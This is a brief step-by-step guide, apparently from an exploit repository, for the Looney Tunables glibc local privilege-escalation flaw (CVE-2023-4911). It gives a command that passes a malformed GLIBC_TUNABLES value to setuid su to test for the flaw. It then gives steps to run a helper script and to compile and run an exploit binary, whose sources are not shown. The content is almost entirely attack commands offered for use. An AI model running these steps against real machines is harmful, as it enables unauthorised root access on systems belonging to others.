Step 1

Check the glibc version

ldd --version

Check if a machine is vulnerable to Looney Tunables CVE-2023-4911

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

If we get a Segmentation fault (core dumped), then machine is vulnerable.

Step 2

python3 libc.py

Step 3

gcc -o exp exp.c
./exp